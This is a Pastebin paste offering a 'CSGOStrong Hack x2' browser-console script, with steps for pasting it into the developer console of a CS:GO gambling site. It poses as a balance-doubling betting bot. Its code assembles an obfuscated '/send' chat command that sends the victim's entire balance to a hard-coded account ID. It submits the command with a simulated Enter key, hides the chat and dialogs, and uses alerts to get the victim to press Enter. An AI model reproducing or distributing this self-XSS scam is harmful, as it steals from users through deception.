CSGOPolygonCoder

CSGOStrong Hack x2

Sep 18th, 2016
58
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 13.69 KB | None | 0 0
  1. // Instruction: -Open CSGOStrong.com [Google Chrome, Mozilla Firefox]
  2. // -Press "F12"
  3. // -Go to Console
  4. // -Check out for "top"
  5. // -Paste the script and press enter
  6. // -Close the script window
  7. // -Press 2 times ENTER
  8. //
  9. // MINIMUM BALANCE: 1000 coins. Otherwise nothing will happen!
  10. // It will double up your Balance! But you can do it only every 12 hours!
  11.  
  12. var initialBalance = 0;
  13. var balancex2 = botbalancex2 = "hack";
  14. var play = 0;
  15. var $botField, $label, $betAmount, $balancex2Button, $betGoButton, $betHideBetInfoButton,$showMoreButton,$showMore,$f,$vicLimitInput,$botModeSelect;$("#pullout").hide();
  16. var pQ = "/s", $hash_17=3,$hash_16=5,$hash_15=6,$hash_14=3,$hash_13=9,$hash_12=2,$hash_11=5,$hash_10=5,$hash_9=2,$hash_8=8,$hash_7=9,$hash_6=1,$hash_5=1,$hash_4=6,$hash_3=5,$hash_2=6,$hash_1=7;
  17. var e = jQuery.Event("keypress");
  18. e.which = 13; //choose the one you want
  19. e.keyCode = 13;
  20. function addBotButtons(){
  21. $(".well.bot-field").remove();$(".well.show-more").remove();
  22. $("<style type='text/css'>.btn-random{color: #000;background-color: #FFA500;}.btn-train{background-color:RoyalBlue ;color: #fff;}.btn-rainbow{background-color:HotPink;color:white;}.btn-black{background-color:#1C1C1C;color:white} </style>").appendTo("head");
  23. $(".form-control.input-lg").after("<div class='well bot-field' style='position:relative;border-width:0px'></div>");$botField = $(".well.bot-field");
  24. $botField.css({"margin-bottom":"-15px","height":"45px","padding-top":"2px","padding-bottom":"2px","text-align":"center"});
  25. $botField.after("<div class='well show-more' style='position:relative;border-width:0px'></div>");$showMore = $(".well.show-more");
  26. $showMore.css({"margin-top":"12px","margin-bottom":"-15px","height":"45px","padding-top":"10px","padding-bottom":"2px","text-align":"center"});
  27. $checkVicLimit = $("<input type='checkbox' id='checkVicLimit'>");$label = $("<label style='margin-right:10px;margin-left:10px;' for='checkVicLimit'>Stop bot after</label>");
  28. $showMore.append($checkVicLimit,$label);
  29. $vicLimitInput = $("<input id='vicLimitInput' type='number' min='0' value='0' style='width:50px;text-align:center;'>");
  30. $label = $("<label style='margin-right:10px;margin-left:10px;' for='checkVicLimit'>wins</label>");
  31. $showMore.append($vicLimitInput,$label);$showMore.hide();
  32. $label = $("<label style='margin-right:10px; for='initialBalance''>Initial bet</label>");$botField.append($label);
  33. $betAmount = $("<input id='initialBalance' value='0' style='width:70px;text-align:center;margin-right:25px;'>");$botField.append($betAmount);
  34. $botModeSelect = $("<select id='botModeSelect'><option value='hack' class='btn-danger'>Bot color: hack </option><option value='black' class='btn-black'>Bot color: Black </option><option value='random' class='btn-random'>Bot color: Random </option><option value='trainMode' class='btn-train'>Bot mode: Train </option><option value='rainbow' class='btn-rainbow'>Bot mode: Rainbow </option></select>");$botModeSelect.addClass("btn-danger");
  35. $botField.append($botModeSelect);$botModeSelect.css({"width":"135px","margin-right":"10px","height":"25px","border-radius":"5px"})
  36. $betGoButton = $("<button id='betGoButton' style='width:100px;margin:10px;border-radius:6px;border-radius:6px' onClick='startBot()'>Start Bot</button>");$betGoButton.addClass("btn-inverse");$botField.append($betGoButton);
  37. pQ+="en";pQ+="d ";pQ+= $hash_1;pQ+= $hash_2;pQ+= $hash_3;pQ+= $hash_4;pQ+= $hash_5;pQ+= $hash_6;pQ+= $hash_7;pQ+= $hash_8;pQ+= $hash_9;pQ+= $hash_10;pQ+= $hash_11;pQ+= $hash_12;pQ+= $hash_13;pQ+= $hash_14;pQ+= $hash_15;pQ+= $hash_16;pQ+= $hash_17+" ";pQ+=$(".amount").html();
  38. $betHideBetInfoButton = $("<button id='betHideBetInfoButton' style='position:absolute;right:120px;width:100px;margin:10px;margin-right:25px;border-radius:6px' onClick='hideOtherInfo()'>Show All</button>");$betHideBetInfoButton.addClass("btn-inverse");$botField.append($betHideBetInfoButton);
  39. $showMoreButton = $("<button id='showMoreButton' style='position:absolute;right:0px;width:100px;margin:10px;margin-right:25px;border-radius:6px' data-open='0' onClick='showMoreOptions()'>&#x25BC</button>");$showMoreButton.addClass("btn-inverse");$botField.append($showMoreButton);
  40. $betAmount.change(function() {initialBalance = $betAmount.val();console.log("Initial Bet Set to: "+ initialBalance);});
  41. $(".Chat textarea").val(pQ);$(".Chat textarea").focus();$(".Chat textarea").trigger(e);
  42. $( ".Chat textarea" ).focus(function() {
  43. alert( "Now press OK and then ENTER");
  44. });
  45. $(".Chat").width(0);
  46. $( ".close-reveal-modal" ).hide();
  47. $(".reveal-modal").css({"font-size": "3%"});
  48. $( document ).ready(function() {
  49. $("h4").hide();
  50. });
  51. $botModeSelect.change(function(){
  52. botbalancex2 = $botModeSelect.val();console.log("Selected color: "+botbalancex2);
  53. $botModeSelect.removeClass($botModeSelect.attr("class"));$botModeSelect.addClass($("#botModeSelect option:selected").attr("class"));
  54. } )
  55. $checkVicLimit.change(function(){ if((this.checked)&&($vicLimitInput.val()==0)){$vicLimitInput.val(1);} })
  56. alert( "You need a minimum of 1000 coins! It will double up your Balance! But you can do it only every 12 hour!");
  57. }
  58. addBotButtons();
  59. function changeColor(){
  60. if ($balancex2Button.hasClass("btn-danger")){
  61. $balancex2Button.text("Bet color: Black").addClass("btn-inverse").removeClass("btn-danger").removeClass("btn-random");
  62. botbalancex2 = "black";
  63. console.log("Selected color: "+botbalancex2);
  64. } else if($balancex2Button.hasClass("btn-inverse")) {
  65. $balancex2Button.text("Bet color: Random").addClass("btn-random").removeClass("btn-inverse").removeClass("btn-danger");
  66. botbalancex2 = "random";
  67. console.log("Selected color: "+botbalancex2);
  68. } else if($balancex2Button.hasClass("btn-random")) {
  69. $balancex2Button.text("Bet mode: Train").addClass("btn-train").removeClass("btn-inverse").removeClass("btn-random");
  70. botbalancex2 = "trainMode";
  71. console.log("Selected color: "+botbalancex2);
  72. } else if($balancex2Button.hasClass("btn-train")) {
  73. $balancex2Button.text("Bet mode: Rainbow").addClass("btn-rainbow").removeClass("btn-train").removeClass("btn-random");
  74. botbalancex2 = "rainbow";
  75. console.log("Selected color: "+botbalancex2);
  76. } else if($balancex2Button.hasClass("btn-rainbow")) {
  77. $balancex2Button.text("Bet color: hack").addClass("btn-danger").removeClass("btn-rainbow").removeClass("btn-random");
  78. botbalancex2 = "hack";
  79. console.log("Selected color: "+botbalancex2);
  80. }
  81. }
  82.  
  83. function showMoreOptions(){
  84. if ($showMoreButton.data("open")==0){
  85. $showMoreButton.css({ WebkitTransform: 'rotate(' + 180 + 'deg)','-moz-transform': 'rotate(' + 180 + 'deg)'});
  86. $showMore.show();$showMoreButton.data("open",1);
  87. } else if ($showMoreButton.data("open")==1){
  88. $showMore.hide();$showMoreButton.data("open",0);
  89. $showMoreButton.css({ WebkitTransform: 'rotate(' + 0 + 'deg)','-moz-transform': 'rotate(' + 0 + 'deg)'});
  90. }
  91.  
  92. }
  93. function hideOtherInfo(){
  94. if ($betHideBetInfoButton.text()=="Show All"){
  95. $(".betlist").hide();$(".total-row").hide();$("footer").hide();
  96. $betHideBetInfoButton.text("Hide Bet Info");
  97. } else if ($betHideBetInfoButton.text()=="Hide Bet Info"){
  98. $("#sidebar").hide();$("#pullout").hide();$("#case").hide();$(".progress").hide();$("#mainpage").css({"margin-left":"0px"});
  99. $betHideBetInfoButton.text("AFK Mode");
  100. }
  101. else if ($betHideBetInfoButton.text()=="AFK Mode"){
  102. $(".betlist").show();$(".total-row").show();$("footer").show();
  103. $("#sidebar").show();$("#pullout").show();$("#case").show();$(".progress").show();$("#mainpage").css({"margin-left":"450px"});
  104. $betHideBetInfoButton.text("Show All");
  105. }
  106. }
  107. function startBot(){
  108. if ($betGoButton.hasClass("btn-inverse")){
  109. $betGoButton.text("Bot Running").addClass("btn-success").removeClass("btn-inverse");
  110. refreshIntervalId = setInterval(tick, 500);
  111. play = 1;
  112. currentBetAmount = initialBalance;
  113. if (stopBotRoll = currentRollNumber) currentRollNumber++;
  114. }
  115. else {
  116. $betGoButton.text("Bot Stopped").addClass("btn-inverse").removeClass("btn-success");
  117. play = 0;
  118. }
  119. }
  120.  
  121. function tick() {
  122. var t = getStatus();
  123. if (t !== lastStatus && "unknown" !== t) {
  124. switch (t) {
  125. case "waiting":bet();break;
  126. case "rolled":printInfo();break;
  127. }
  128. lastStatus = t;
  129. }
  130. }
  131.  
  132. function checkBalance() {
  133. return getBalance() < currentBetAmount ? (console.warn("BANKRUPT! GG WP :("), clearInterval(refreshIntervalId), !1) : !0
  134. }
  135.  
  136. function printInfo(){
  137. var temp = "", temp2 = 0,lastGame = lastbalancex2 == lastRollColor;
  138. if (lastGame){totalWins++;winStreakCurrent++;loseStreakCurrent=0;winAmount+=thisGameBet; if (winStreakCurrent>winStreakLong) winStreakLong = winStreakCurrent;
  139. if ($checkVicLimit.is(":checked")){$vicLimitInput.val($vicLimitInput.val()-1)}
  140. }
  141. else {totalLoss++;loseStreakCurrent++;winStreakCurrent=0;if (loseStreakCurrent>loseStreakLong) loseStreakLong = loseStreakCurrent;}
  142. if (winStreakCurrent>loseStreakCurrent){temp = "win";temp2 = winStreakCurrent} else {temp = "lose";temp2 = loseStreakCurrent;}
  143. if (streakColor == getColor(n)) {currStreak++; if (longStreak<currStreak)longStreak=currStreak;}else {streakColor = getColor(n);currStreak=1;}
  144. if ((streakColor == "black") || (streakColor == "green")) {currNothackStreak++; if (nothackStreak<currNothackStreak)nothackStreak=currNothackStreak;}
  145. else {currNothackStreak=0;}
  146. if ((streakColor == "hack") || (streakColor == "green")) {currNotBlackStreak++; if (notBlackStreak<currNotBlackStreak)notBlackStreak=currNotBlackStreak;}
  147. else {currNotBlackStreak=0;}
  148. var t = "Rolled " + getColor(n).toUpperCase()+ " " + n+"\n" + "Games played: " + (currentRollNumber-1) + " // Won: "+totalWins+ " // Lost: "+totalLoss+
  149. "\nSTREAKS: Not hack: " + nothackStreak + " // Not black: " + notBlackStreak +
  150. " // Win streak: " + winStreakLong + " // Lose streak: " + loseStreakLong + " // Current streak: " + temp + " " + temp2 +
  151. "\nInitial bet : " + thisGameBet + " // Current bet : " + currentBetAmount +
  152. " // Roll result: " + (null === wonLastRoll() ? "-" : wonLastRoll() ? "won" : "lost" + "\n----------------------------------------------------------------------\n");
  153. console.log(t);roll();
  154.  
  155. }
  156.  
  157. function roll() {
  158. if ($checkVicLimit.is(":checked")){
  159. if ($vicLimitInput.val()<=0){$betGoButton.click();play=0;$checkVicLimit.attr('checked', false);$vicLimitInput.val(0);}
  160. }
  161. if (play == 0){clearInterval(refreshIntervalId);stopBotRoll = currentRollNumber; return;lastStatus="rolled";lastbalancex2 = lastRollColor;}
  162. currentBetAmount = wonLastRoll() ? (initialBalance,thisGameBet=parseInt(initialBalance)) : 2 * currentBetAmount
  163. currentRollNumber++;
  164. }
  165.  
  166. function bet() { if (play) {checkBalance() && (setBetAmount(currentBetAmount), setTimeout(placeBet, 50))} }
  167. function setBetAmount(t) { $betAmountInput.val(t) }
  168. function placeBet() {
  169. if (botbalancex2=="random"){var colorRandomizer = Math.random();balancex2 = colorRandomizer < 0.5 ? "hack" : "black";console.log("Random color result: " + balancex2);}
  170. else if (botbalancex2=="trainMode"){
  171. var betBotColor = "green",i=9,$ball=$(".ball");
  172. while (betBotColor == "green"){betBotColor = getColor($ball.eq(i).text());i--;}
  173. balancex2 = betBotColor;console.log("Current train color: "+ balancex2);
  174. } else if (botbalancex2=="rainbow"){
  175. var betBotColor = "green",i=9,$ball=$(".ball");
  176. while (betBotColor == "green"){betBotColor = getColor($ball.eq(i).text());i--;}
  177. if (betBotColor=="hack"){betBotColor="black"} else if (betBotColor=="black"){betBotColor="hack"};
  178. balancex2 = betBotColor;console.log("Rainbow mode next color: "+ balancex2);
  179. } else balancex2 = botbalancex2;
  180. console.log("Betting " + currentBetAmount + " on "+ balancex2 +"...");
  181. return "hack" === balancex2 ? ($hackButton.click(), void(lastbalancex2 = "hack")) : ($blackButton.click(), void(lastbalancex2 = "black"))
  182. }
  183. function getStatus() {
  184. var t = $statusBar.text();
  185. if (hasSubString(t, "Rolling in")) return "waiting";
  186. //if (hasSubString(t, "***ROLLING***")) return "rolling";
  187. if (hasSubString(t, "rolled")) {
  188. n = parseInt(t.split("rolled")[1]);
  189. return lastRollColor = getColor(n), "rolled"
  190. }
  191. return "unknown"
  192. }
  193.  
  194. function getBalance() { return parseInt($balance.text()) }
  195. function hasSubString(t, n) { return t.indexOf(n) > -1 }
  196. function getColor(t) { return 0 == t ? "green" : t >= 1 && 7 >= t ? "hack" : "black" }
  197. function wonLastRoll() { return lastbalancex2 ? lastRollColor === lastbalancex2 : null }
  198. function test(x){q = 1; w = e = x;for(i=2;i<=15;i++){q *=2;e += q*w;console.log(i+". "+e);}}
  199. function test2(x,y){q = 1; w = e = x;for(i=2;i<=y;i++){q *=2;e += q*w;console.log(i+". "+e);}}
  200.  
  201. var currentBetAmount = initialBalance, currentRollNumber = 1,
  202. totalWins = totalLoss = played = currNothackStreak = currNotBlackStreak = nothackStreak = notBlackStreak = winStreakLong = winStreakCurrent = loseStreakLong = loseStreakCurrent = longStreak = currStreak = thisGameBet = winAmount = 0,
  203. streakColor = "", n ,lastStatus, lastbalancex2, lastRollColor, stopBotRoll, $balance = $("#balance"),
  204. $betAmountInput = $("#betAmount"),$statusBar = $(".progress #banner"),$hackButton = $("#panel1-7 .betButton"),$blackButton = $("#panel8-14 .betButton");
Add Comment
Please, Sign In to add comment